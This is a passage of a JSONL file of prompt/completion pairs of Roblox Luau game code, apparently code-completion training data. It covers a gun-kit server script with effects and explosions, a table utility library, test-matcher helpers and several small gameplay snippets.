\"creator\"\n\tL_95_.Value = L_93_arg1\n\tL_95_.Parent = L_94_arg2\n\tgame.Debris:AddItem(L_95_, 3)\nend)\n\nL_37_.OnServerEvent:connect(function(L_96_arg1, L_97_arg2, L_98_arg3)\n\tlocal L_99_ = L_96_arg1.Character\n\tlocal L_100_ = L_99_:FindFirstChild('Torso')\n\tlocal L_101_ = L_99_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint')\n\tlocal L_102_ = L_100_:FindFirstChild('Right Hip')\n\tlocal L_103_ = L_100_:FindFirstChild('Left Hip')\n\tlocal L_104_ = L_100_:FindFirstChild('Clone')\n\t\n\tif L_97_arg2 == \"Prone\" and L_99_ and L_104_ then\n\t\tL_101_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195)\n\t\tL_102_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009)\n\t\tL_103_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009)\t\t\t\n\t\tL_104_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0)\t\n\telseif L_97_arg2 == \"Crouch\" and L_99_ and L_104_ then\n\t\tL_101_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015)\n\t\tL_102_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0)\n\t\tL_103_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0)\n\t\tL_104_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"Stand\" and L_99_ and L_104_ then\t\n\t\tL_101_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\tL_102_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)\n\t\tL_103_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_104_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\telseif L_97_arg2 == \"LeanRight\" then\n\t\tL_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_102_.C1 = CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0)\n\t\tL_104_.C1 = CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"LeanLeft\" then\n\t\tL_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_103_.C1 = CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0)\n\t\tL_104_.C1 = CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"Unlean\" then\n\t\tL_101_.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tL_102_.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\t\tL_103_.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\t\tif L_100_:FindFirstChild('Clone') then\n\t\t\tL_104_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tend\n\telseif L_97_arg2 == \"Patrol\" then\n\t\tL_19_.C1 = L_98_arg3\n\telseif L_97_arg2 == \"Unpatrol\" then\n\t\tL_19_.C1 = CFrame.new()\n\tend\nend)\n\nL_38_.OnServerInvoke = function(L_105_arg1, L_106_arg2, L_107_arg3, L_108_arg4, L_109_arg5, L_110_arg6, L_111_arg7)\n\tlocal L_112_ = Instance.new(\"Part\", workspace)\n\tL_112_.FormFactor = \"Custom\"\n\tL_112_.TopSurface = 0\n\tL_112_.BottomSurface = 0\n\tL_112_.Transparency = 1\n\tL_112_.Anchored = true\n\tL_112_.CanCollide = false\n\tL_112_.Size = Vector3.new(0.5, 0, 0.5)\n\tL_112_.CFrame = CFrame.new(L_106_arg2) * CFrame.fromAxisAngle(L_107_arg3.magnitude == 0 and Vector3.new(1) or L_107_arg3.unit, L_108_arg4)\n\tL_112_.BrickColor = BrickColor.new(\"Really black\")\n\tL_112_.Material = \"SmoothPlastic\"\n\n\tlocal L_113_ = Instance.new(\"Decal\", L_112_)\n\tL_113_.Texture = \"rbxassetid://64291977\"\n\tL_113_.Face = \"Top\"\n\tgame.Debris:AddItem(L_113_, 3)\n\t\n\tlocal L_114_ = Instance.new(\"PointLight\", L_112_)\n\tL_114_.Color = Color3.new(0, 0, 0)\n\tL_114_.Range = 0\n\tL_114_.Shadows = true\n\t\n\tfor L_117_forvar1, L_118_forvar2 in pairs(game.Players:GetChildren()) do\n\t\tif L_118_forvar2:IsA('Player') and L_118_forvar2.Character and L_118_forvar2.Character.HumanoidRootPart and (L_118_forvar2.Character.HumanoidRootPart.Position - L_106_arg2).magnitude <= 30 then\n\t\t\tlocal L_119_ = Instance.new(\"Sound\")\n\t\t\tL_119_.Name = \"Crack\"\t\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Grass or L_111_arg7.Material == Enum.Material.Ice or L_111_arg7.Material == Enum.Material.Fabric or L_111_arg7.Material == Enum.Material.Pebble then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_45_[math.random(1, #L_45_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Sand then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_46_[math.random(1, #L_46_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Glass or L_111_arg7.Material == Enum.Material.Neon then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_47_[math.random(1, #L_47_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Wood or L_111_arg7.Material == Enum.Material.WoodPlanks then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_48_[math.random(1, #L_48_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Metal or L_111_arg7.Material == Enum.Material.CorrodedMetal or L_111_arg7.Material == Enum.Material.DiamondPlate then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_49_[math.random(1, #L_49_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Water then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_50_[math.random(1, #L_50_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Concrete or L_111_arg7.Material == Enum.Material.Plastic or L_111_arg7.Material == Enum.Material.SmoothPlastic or L_111_arg7.Material == Enum.Material.Slate or L_111_arg7.Material == Enum.Material.Foil or L_111_arg7.Material == Enum.Material.Brick or L_111_arg7.Material == Enum.Material.Granite or L_111_arg7.Material == Enum.Material.Marble or L_111_arg7.Material == Enum.Material.Cobblestone then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_51_[math.random(1, #L_51_)]\n\t\t\tend\t\n\t\t\t\n\t\t\tL_119_.EmitterSize = 10\n\t\t\tL_119_.MaxDistance = 30\n\t\t\tL_119_.Parent = L_118_forvar2.PlayerGui\n\t\t\tL_119_:play()\n\t\t\t\n\t\t\tgame.Debris:AddItem(L_112_, 3)\n\t\tend\n\tend;\n\t\n\tlocal L_115_\n\tlocal L_116_\n\t\t\n\tif L_110_arg6 == \"Part\" then\n\t\tL_115_ = L_31_:WaitForChild(\"Spark\"):clone()\n\t\tL_115_.Parent = L_112_\n\t\tL_115_.EmissionDirection = \"Top\"\n\t\t\n\t\tL_116_ = L_31_:WaitForChild(\"Smoke\"):clone()\n\t\tL_116_.Parent = L_112_\n\t\tL_116_.EmissionDirection = \"Top\"\n\t\t\n\t\tL_115_.Enabled = true\n\t\tL_116_.Enabled = true\n\t\t\n\t\tgame.Debris:AddItem(L_115_, 1)\n\t\tgame.Debris:AddItem(L_116_, 1)\n\t\t\n\t\tdelay(0.1, function()\n\t\t\tL_115_.Enabled = false\n\t\t\tL_116_.Enabled = false\n\t\tend)\n\telseif L_110_arg6 == \"Human\" then\t\t\n\t\tL_115_ = L_31_:WaitForChild(\"Blood\"):clone()\n\t\tL_115_.Parent = L_112_\n\t\tL_115_.EmissionDirection = \"Top\"\n\t\tL_115_.Enabled = true\n\t\t\n\t\tgame.Debris:AddItem(L_115_, 1)\n\t\t\n\t\tdelay(0.1, function()\n\t\t\tL_115_.Enabled = false\n\t\tend)\n\tend\nend;\n\nL_40_.OnServerEvent:connect(function(L_117_arg1, L_118_arg2)\n\tL_40_:FireAllClients(L_117_arg1, L_118_arg2)\nend)\n\nL_41_.OnServerEvent:connect(function(L_119_arg1, L_120_arg2)\n\tlocal L_121_ = Instance.new('Part', workspace)\n\tL_121_.Size = Vector3.new(0.1, 0.1, 0.1)\n\tL_121_.Transparency = 1\n\tL_121_.CanCollide = false\n\tL_121_.Anchored = true\n\tL_121_.Position = L_120_arg2\n\tlocal L_122_ = Instance.new('Explosion', workspace)\n\tL_122_.Position = L_120_arg2\n\tL_122_.BlastPressure = L_12_.BlastPressue\n\tL_122_.BlastRadius = L_12_.BlastRadius\n\tL_122_.DestroyJointRadiusPercent = L_12_.DestroyJointRadius\n\tL_122_.ExplosionType = L_12_.ExplosionType\n\tlocal L_123_ = L_31_:WaitForChild('ExplosionSound'):clone()\n\tL_123_.Parent = L_121_\n\tL_123_:Play()\n\tgame:GetService('Debris'):AddItem(L_121_, L_123_.TimeLength)\nend)\n\nL_43_.OnServerEvent:connect(function(L_124_arg1, L_125_arg2)\n\tfor L_126_forvar1, L_127_forvar2 in pairs(game.Players:GetChildren()) do\n\t\tif L_127_forvar2:IsA('Player') and L_127_forvar2.PlayerGui:FindFirstChild('MainGui') and L_127_forvar2.PlayerGui.MainGui:FindFirstChild('Shading') then\n\t\t\tfor L_128_forvar1, L_129_forvar2 in pairs(L_127_forvar2.Character:GetChildren()) do\n\t\t\t\tif L_129_forvar2:IsA('Tool') and L_129_forvar2:FindFirstChild('Resource') and L_129_forvar2.Resource:FindFirstChild('Events') and L_129_forvar2.Resource.Events:FindFirstChild('ServerFXEvent') then\n\t\t\t\t\tL_129_forvar2.Resource.Events.ServerFXEvent:FireClient(L_127_forvar2, L_125_arg2, L_2_)\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend\nend)\n\nL_44_.OnServerEvent:connect(function(L_130_arg1, L_131_arg2, L_132_arg3)\n\tL_131_arg2.SoundId = 'rbxassetid://' .. L_132_arg3\n\tL_131_arg2:Play()\nend)\n"} +{"prompt": "--[[\n\tDisconnects existing connections\n]]", "completion": "\nlocal function disconnectOldConnections()\n\tfor _, connection in ipairs(connections) do\n\t\tif connection then\n\t\t\tconnection:Disconnect()\n\t\tend\n\tend\n\n\tconnections = {}\nend\n"} +{"prompt": "-- Frame that contains the game mode selection", "completion": "\nlocal MainFrame = InteractionGui:WaitForChild(\"MainFrame\")\n"} +{"prompt": "-- Other", "completion": "\nlocal CurrentOccupant = nil\nlocal Vector3New,CFrameNew,CFrameAngles,MathRad,MathAbs = Vector3.new,CFrame.new,CFrame.Angles,math.rad,math.abs\n"} +{"prompt": "--!strict", "completion": "\n\nlocal Cart = script.Parent.Parent\nlocal Base = Cart:WaitForChild(\"Base\")\n\nlocal BreakSound = Base:WaitForChild(\"Break\")\n\nlocal Seat = Cart:WaitForChild(\"Seat\")\n\nreturn function()\n\tlocal occupant = Seat.Occupant\n\tif occupant then\n\t\toccupant.Sit = false\n\tend\n\tSeat.Disabled = true\n\tBreakSound:Play()\n\tif Base.AssemblyRootPart then\n\t\tBase.AssemblyRootPart:SetNetworkOwner(nil)\n\tend\n\tlocal descendants = Cart:GetDescendants()\n\tfor _, descendant in ipairs(descendants) do\n\t\tif descendant:IsA(\"WeldConstraint\") or descendant:IsA(\"Constraint\") then\n\t\t\tdescendant.Enabled = false\n\t\tend\n\tend\n\tfor _, descendant in ipairs(descendants) do\n\t\tif descendant:IsA(\"BasePart\") then\n\t\t\tdescendant:ApplyImpulse(Vector3.new(0, math.random(70, 70), 0) * 0.5 * descendant.AssemblyMass)\n\t\t\tdescendant:ApplyAngularImpulse(Vector3.new(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10)) * 1 * descendant.AssemblyMass)\n\t\tend\n\tend\n\ttask.spawn(function()\n\t\tfor _, ch in ipairs(Cart:GetDescendants()) do\n\t\t\tif ch:IsA(\"BasePart\") then\n\t\t\t\ttask.delay(math.random() * 4, ch.Destroy, ch)\n\t\t\tend\n\t\tend\n\t\ttask.wait(4)\n\t\tCart:Destroy()\n\tend)\nend\n"} +{"prompt": "-- ROBLOX deviation: expected does not have RegExp type annotation", "completion": "\nfunction toThrowExpectedRegExp(\n\tmatcherName: string,\n\toptions: JestMatcherUtils.MatcherHintOptions,\n\tthrown: Thrown | nil,\n\texpected: RegExp\n): SyncExpectationResult\n\tlocal pass = thrown ~= nil and expected:test(thrown.message)\n\n\tlocal message\n\tif pass then\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options)\n\t\t\t\t.. \"\\n\\n\"\n\t\t\t\t.. formatExpected(\"Expected pattern: never \", expected)\n\n\t\t\tif thrown ~= nil and thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\tretval = retval\n\t\t\t\t\t.. formatReceived(\"Received message: \", thrown, \"message\", expected)\n\t\t\t\t\t.. formatStack(thrown)\n\t\t\telse\n\t\t\t\tretval = retval .. formatReceived(\"Received value: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\telse\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options)\n\t\t\t\t.. \"\\n\\n\"\n\t\t\t\t.. formatExpected(\"Expected pattern: \", expected)\n\n\t\t\tif thrown == nil then\n\t\t\t\tretval = retval .. \"\\n\" .. DID_NOT_THROW\n\t\t\telse\n\t\t\t\tif thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\t\tretval = retval .. formatReceived(\"Received message: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\t\telse\n\t\t\t\t\tretval = retval .. formatReceived(\"Received value: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\tend\n\n\treturn { message = message, pass = pass }\nend\n\ntype AsymmetricMatcher = {\n\tasymmetricMatch: (any, any) -> boolean,\n}\n\nfunction toThrowExpectedAsymmetric(\n\tmatcherName: string,\n\toptions: JestMatcherUtils.MatcherHintOptions,\n\tthrown: Thrown | nil,\n\texpected: AsymmetricMatcher\n): SyncExpectationResult\n\tlocal pass = thrown ~= nil and expected:asymmetricMatch(thrown.value)\n\n\tlocal message\n\tif pass then\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options)\n\t\t\t\t.. \"\\n\\n\"\n\t\t\t\t.. formatExpected(\"Expected asymmetric matcher: never \", expected)\n\t\t\t\t.. \"\\n\"\n\n\t\t\tif thrown ~= nil and thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\tretval = retval\n\t\t\t\t\t.. formatReceived(\"Received name: \", thrown, \"name\")\n\t\t\t\t\t.. formatReceived(\"Received message: \", thrown, \"message\")\n\t\t\t\t\t.. formatStack(thrown)\n\t\t\telse\n\t\t\t\tretval = retval .. formatReceived(\"Thrown value: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\telse\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options)\n\t\t\t\t.. \"\\n\\n\"\n\t\t\t\t.. formatExpected(\"Expected asymmetric matcher: \", expected)\n\t\t\t\t.. \"\\n\"\n\n\t\t\tif thrown == nil then\n\t\t\t\tretval = retval .. DID_NOT_THROW\n\t\t\telse\n\t\t\t\tif thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\t\tretval = retval\n\t\t\t\t\t\t.. formatReceived(\"Received name: \", thrown, \"name\")\n\t\t\t\t\t\t.. formatReceived(\"Received message: \", thrown, \"message\")\n\t\t\t\t\t\t.. formatStack(thrown)\n\t\t\t\telse\n\t\t\t\t\tretval = retval .. formatReceived(\"Thrown value: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\tend\n\n\treturn { message = message, pass = pass }\nend\n"} +{"prompt": "--Allows users to do /w displayName along with /w userName, only works if PlayerDisplayNamesEnabled is 'true'", "completion": "\nmodule.WhisperByDisplayName = false\n\nlocal ChangedEvent = Instance.new(\"BindableEvent\")\n\nlocal proxyTable = setmetatable({},\n{\n\t__index = function(tbl, index)\n\t\treturn module[index]\n\tend,\n\t__newindex = function(tbl, index, value)\n\t\tmodule[index] = value\n\t\tChangedEvent:Fire(index, value)\n\tend,\n})\n\nrawset(proxyTable, \"SettingsChanged\", ChangedEvent.Event)\n\nreturn proxyTable\n"} +{"prompt": "-- Services", "completion": "\nlocal Players = game:GetService(\"Players\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n"} +{"prompt": "--[[\n\tProcesses and returns an existing instance, with options for setting\n\tproperties, event handlers and other attributes on the instance.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\nlocal applyInstanceProps = require(Package.Instances.applyInstanceProps)\n\nlocal function Hydrate(target: Instance)\n\treturn function(props: PubTypes.PropertyTable): Instance\n\t\tapplyInstanceProps(props, target)\n\t\treturn target\n\tend\nend\n\nreturn Hydrate\n"} +{"prompt": "-- Where the NPC arrow tweens to from its starting position", "completion": "\nlocal ARROW_DESTINATION = UDim2.new(.5, 0, -.5, 0)\n\nlocal prevWalkSpeed\n"} +{"prompt": "-- 3D TextGen", "completion": "\n\nThis = script.Parent\nBtn = This.Parent\nLift = Btn.Parent.Parent.Parent\nConfig = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomLabel = Config[\"CUSTOMFLOORLABEL\"][tonumber(Btn.Name)]\n\nfunction ChangeFloor(SF)\n\tif string.len(SF) == 1 then\n\t\tSetLabel(1,SF,-0.04)\t\n\t\tSetLabel(2,\"NIL\",0)\n\telse\n\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\tSetLabel(2,SF:sub(2,2),0)\n\tend\nend\n\n\nfunction SetLabel(ID,CHAR,OFFSET)\n\tif This:FindFirstChild(\"L\"..ID) and Characters[CHAR] ~= nil then\n\t\tThis[\"L\"..ID].Mesh.Offset = Vector3.new(OFFSET, -0.004, 0)\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis[\"L\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\t\tif CHAR == \"M\" or CHAR == \"W\" then\n\t\t\tThis[\"L\"..ID].Mesh.Scale = Vector3.new(0.005, 0.001, 0.007)\n\t\telse\n\t\t\tThis[\"L\"..ID].Mesh.Scale = Vector3.new(0.007, 0.001, 0.007)\n\t\tend\n\tend\nend\n\n\nif CustomLabel then\n\tChangeFloor(CustomLabel)\nelse\n\tChangeFloor(Btn.Name)\nend\n\nscript:Destroy()\n"} +{"prompt": "--Let's do the basic setup first", "completion": "\nlocal ServerStorage = game:GetService(\"ServerStorage\") --Get the ServerStorage (the method ignores the name of the service)\nlocal Register = ServerStorage:findFirstChild(\"GlobalTeleporterRegister\") --Try to find the global teleporter register in the ServerStorage\n"} +{"prompt": "--[[\n\n\tTableUtil.Copy(tbl: table): table\n\tTableUtil.CopyShallow(tbl: table): table\n\tTableUtil.Sync(tbl: table, template: table): void\n\tTableUtil.FastRemove(tbl: table, index: number): void\n\tTableUtil.FastRemoveFirstValue(tbl: table, value: any): (boolean, number)\n\tTableUtil.Map(tbl: table, callback: (value: any) -> any): table\n\tTableUtil.Filter(tbl: table, callback: (value: any) -> boolean): table\n\tTableUtil.Reduce(tbl: table, callback: (accum: number, value: number) -> number [, initialValue: number]): number\n\tTableUtil.Assign(target: table, ...sources: table): table\n\tTableUtil.Extend(tbl: table, extension: table): table\n\tTableUtil.Reverse(tbl: table): table\n\tTableUtil.Shuffle(tbl: table [, rng: Random]): table\n\tTableUtil.Flat(tbl: table [, maxDepth: number = 1]): table\n\tTableUtil.FlatMap(tbl: callback: (value: any) -> table): table\n\tTableUtil.Keys(tbl: table): table\n\tTableUtil.Find(tbl: table, callback: (value: any) -> boolean): (any, number)\n\tTableUtil.Every(tbl: table, callback: (value: any) -> boolean): boolean\n\tTableUtil.Some(tbl: table, callback: (value: any) -> boolean): boolean\n\tTableUtil.IsEmpty(tbl: table): boolean\n\tTableUtil.EncodeJSON(tbl: table): string\n\tTableUtil.DecodeJSON(json: string): table\n\n--]]", "completion": "\n\n\nlocal TableUtil = {}\n\nlocal HttpService = game:GetService(\"HttpService\")\nlocal rng = Random.new()\n\n\nlocal function CopyTable(t)\n\tassert(type(t) == \"table\", \"First argument must be a table\")\n\tlocal function Copy(tbl)\n\t\tlocal tCopy = table.create(#tbl)\n\t\tfor k,v in pairs(tbl) do\n\t\t\tif (type(v) == \"table\") then\n\t\t\t\ttCopy[k] = Copy(v)\n\t\t\telse\n\t\t\t\ttCopy[k] = v\n\t\t\tend\n\t\tend\n\t\treturn tCopy\n\tend\n\treturn Copy(t)\nend\n\n\nlocal function CopyTableShallow(t)\n\tlocal tCopy = table.create(#t)\n\tif (#t > 0) then\n\t\ttable.move(t, 1, #t, 1, tCopy)\n\telse\n\t\tfor k,v in pairs(t) do tCopy[k] = v end\n\tend\n\treturn tCopy\nend\n\n\nlocal function Sync(srcTbl, templateTbl)\n\n\tassert(type(srcTbl) == \"table\", \"First argument must be a table\")\n\tassert(type(templateTbl) == \"table\", \"Second argument must be a table\")\n\n\tlocal tbl = CopyTableShallow(srcTbl)\n\n\t-- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl'\n\t-- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl'\n\t-- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl'\n\tfor k,v in pairs(tbl) do\n\n\t\tlocal vTemplate = templateTbl[k]\n\n\t\t-- Remove keys not within template:\n\t\tif (vTemplate == nil) then\n\t\t\ttbl[k] = nil\n\n\t\t-- Synchronize data types:\n\t\telseif (type(v) ~= type(vTemplate)) then\n\t\t\tif (type(vTemplate) == \"table\") then\n\t\t\t\ttbl[k] = CopyTable(vTemplate)\n\t\t\telse\n\t\t\t\ttbl[k] = vTemplate\n\t\t\tend\n\n\t\t-- Synchronize sub-tables:\n\t\telseif (type(v) == \"table\") then\n\t\t\ttbl[k] = Sync(v, vTemplate)\n\t\tend\n\n\tend\n\n\t-- Add any missing keys:\n\tfor k,vTemplate in pairs(templateTbl) do\n\n\t\tlocal v = tbl[k]\n\n\t\tif (v == nil) then\n\t\t\tif (type(vTemplate) == \"table\") then\n\t\t\t\ttbl[k] = CopyTable(vTemplate)\n\t\t\telse\n\t\t\t\ttbl[k] = vTemplate\n\t\t\tend\n\t\tend\n\n\tend\n\n\treturn tbl\n\nend\n\n\nlocal function FastRemove(t, i)\n\tlocal n = #t\n\tt[i] = t[n]\n\tt[n] = nil\nend\n\n\nlocal function FastRemoveFirstValue(t, v)\n\tlocal index = table.find(t, v)\n\tif (index) then\n\t\tFastRemove(t, index)\n\t\treturn true, index\n\tend\n\treturn false, nil\nend\n\n\nlocal function Map(t, f)\n\tassert(type(t) == \"table\", \"First argument must be a table\")\n\tassert(type(f) == \"function\", \"Second argument must be a function\")\n\tlocal newT = table.create(#t)\n\tfor k,v in pairs(t) do\n\t\tnewT[k] = f(v, k, t)\n\tend\n\treturn newT\nend\n\n\nlocal function Filter(t, f)\n\tassert(type(t) == \"table\", \"First argument must be a table\")\n\tassert(type(f) == \"function\", \"Second argument must be a function\")\n\tlocal newT = table.create(#t)\n\tif (#t > 0) then\n\t\tlocal n = 0\n\t\tfor i,v in ipairs(t) do\n\t\t\tif (f(v, i, t)) then\n\t\t\t\tn += 1\n\t\t\t\tnewT[n] = v\n\t\t\tend\n\t\tend\n\telse\n\t\tfor k,v in pairs(t) do\n\t\t\tif (f(v, k, t)) then\n\t\t\t\tnewT[k] = v\n\t\t\tend\n\t\tend\n\tend\n\treturn newT\nend\n\n\nlocal function Reduce(t, f, init)\n\tassert(type(t) == \"table\", \"First argument must be a table\")\n\tassert(type(f) == \"function\", \"Second argument must be a function\")\n\tassert(init == nil or type(init) == \"number\", \"Third argument must be a number or nil\")\n\tlocal result = (init or 0)\n\tfor k,v in pairs(t) do\n\t\tresult = f(result, v, k, t)\n\tend\n\treturn result\nend\n\n\nlocal function Assign(target, ...)\n\tlocal tbl = CopyTableShallow(target)\n\tfor _,src in ipairs({...}) do\n\t\tfor k,v in pairs(src) do\n\t\t\ttbl[k] = v\n\t\tend\n\tend\n\treturn tbl\nend\n\n\nlocal function Extend(target, extension)\n\tlocal tbl = CopyTableShallow(target)\n\tfor _,v in ipairs(extension) do\n\t\ttable.insert(tbl, v)\n\tend\n\treturn tbl\nend\n\n\nlocal function Reverse(tbl)\n\tlocal n = #tbl\n\tlocal tblRev = table.create(n)\n\tfor i = 1,n do\n\t\ttblRev[i] = tbl[n - i + 1]\n\tend\n\treturn tblRev\nend\n\n\nlocal function Shuffle(tbl, rngOverride)\n\tassert(type(tbl) == \"table\", \"First argument must be a table\")\n\tlocal shuffled = CopyTableShallow(tbl)\n\tlocal random = (rngOverride or rng)\n\tfor i = #tbl, 2, -1 do\n\t\tlocal j = random:NextInteger(1, i)\n\t\tshuffled[i], shuffled[j] = shuffled[j], shuffled[i]\n\tend\n\treturn shuffled\nend\n\n\nlocal function Flat(tbl, depth)\n\tdepth = (depth or 1)\n\tlocal flatTbl = table.create(#tbl)\n\tlocal function Scan(t, d)\n\t\tfor _,v in ipairs(t) do\n\t\t\tif (type(v) == \"table\" and d < depth) then\n\t\t\t\tScan(v, d + 1)\n\t\t\telse\n\t\t\t\ttable.insert(flatTbl, v)\n\t\t\tend\n\t\tend\n\tend\n\tScan(tbl, 0)\n\treturn flatTbl\nend\n\n\nlocal function FlatMap(tbl, callback)\n\treturn Flat(Map(tbl, callback))\nend\n\n\nlocal function Keys(tbl)\n\tlocal keys = table.create(#tbl)\n\tfor k in pairs(tbl) do\n\t\ttable.insert(keys, k)\n\tend\n\treturn keys\nend\n\n\nlocal function Find(tbl, callback)\n\tfor k,v in pairs(tbl) do\n\t\tif (callback(v, k, tbl)) then\n\t\t\treturn v, k\n\t\tend\n\tend\n\treturn nil, nil\nend\n\n\nlocal function Every(tbl, callback)\n\tfor k,v in pairs(tbl) do\n\t\tif (not callback(v, k, tbl)) then\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend\n\n\nlocal function Some(tbl, callback)\n\tfor k,v in pairs(tbl) do\n\t\tif (callback(v, k, tbl)) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\n\nlocal function IsEmpty(tbl)\n\treturn (next(tbl) == nil)\nend\n\n\nlocal function EncodeJSON(tbl)\n\treturn HttpService:JSONEncode(tbl)\nend\n\n\nlocal function DecodeJSON(str)\n\treturn HttpService:JSONDecode(str)\nend\n\n\nTableUtil.Copy = CopyTable\nTableUtil.CopyShallow = CopyTableShallow\nTableUtil.Sync = Sync\nTableUtil.FastRemove = FastRemove\nTableUtil.FastRemoveFirstValue = FastRemoveFirstValue\nTableUtil.Map = Map\nTableUtil.Filter = Filter\nTableUtil.Reduce = Reduce\nTableUtil.Assign = Assign\nTableUtil.Extend = Extend\nTableUtil.Reverse = Reverse\nTableUtil.Shuffle = Shuffle\nTableUtil.Flat = Flat\nTableUtil.FlatMap = FlatMap\nTableUtil.Keys = Keys\nTableUtil.Find = Find\nTableUtil.Every = Every\nTableUtil.Some = Some\nTableUtil.IsEmpty = IsEmpty\nTableUtil.EncodeJSON = EncodeJSON\nTableUtil.DecodeJSON = DecodeJSON\n\n\nreturn TableUtil\n"} +{"prompt": "--m3=script.Parent.EndHorn", "completion": "\nm1:Stop() --Initial setup\nm2:Stop()"} +{"prompt": "--[[ By: Brutez. ]]", "completion": "--\nlocal JeffTheKillerScript=script;\nrepeat wait(4)until JeffTheKillerScript and JeffTheKillerScript.Parent and JeffTheKillerScript.Parent.ClassName==\"Model\"and JeffTheKillerScript.Parent:FindFirstChild(\"Head\")and 